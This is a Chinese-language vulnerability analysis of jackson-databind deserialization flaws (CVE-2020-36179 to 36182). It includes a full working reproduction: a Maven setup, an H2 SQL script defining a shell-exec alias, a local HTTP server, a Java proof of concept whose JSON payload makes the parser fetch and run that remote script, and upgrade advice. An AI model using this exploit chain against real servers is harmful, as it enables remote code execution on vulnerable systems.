Jackson-databind 漏洞分析与修复建议：CVE-2020-36179及相关RCE威胁

影响范围

Jackson-databind < 2.9.10.7

漏洞类型

JDNI注入导致RCE

利用条件

• 开启enableDefaultTyping()
• 使用了org.apache.servicemix.bundles第三方依赖库

漏洞概述

以下类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成SSRF&RCE：

• CVE-2020-36179：org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS
• CVE-2020-36180:  org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS
• CVE-2020-36181:  org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS
• CVE-2020-36182:  org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS

漏洞复现

环境搭建

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.jacksonTest</groupId>
    <artifactId>jacksonTest</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-dbcp2 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-dbcp2</artifactId>
            <version>2.8.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>
</project>

漏洞利用

https://github.com/Al1ex/CVE-2020-36179

构造exec.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')

简易web服务

python2 -m simpleHTTPServer 4444

执行漏洞POC1

poc.java代码如下所示：

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;


public class POC {
    public static void main(String[] args) throws Exception {
        String payload = "[\"org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:3333/exec.sql'\"}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        Object obj = mapper.readValue(payload, Object.class);
        mapper.writeValueAsString(obj);
    }
}

之后运行该程序，成功执行命令，弹出计算器：

漏洞分析

org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS类中提供了对url的set方法，可以通过反序列化进行赋值操作，同时在getConnection中通过DriverManager.getConnection()进行远程连接，参数url可控，从而可导致SSRF，当classpath中存在h2数据库时甚至可以导致RCE:

Gadget如下：

DriverAdapterCPDS
    ->seturl
        ->getPooledConnection
            ->DirverManager.getConnection(this.url,username,pass)

修复建议

• 及时将jackson-databind升级到安全版本(>2.9.10.7)
• 升级到较高版本的JDK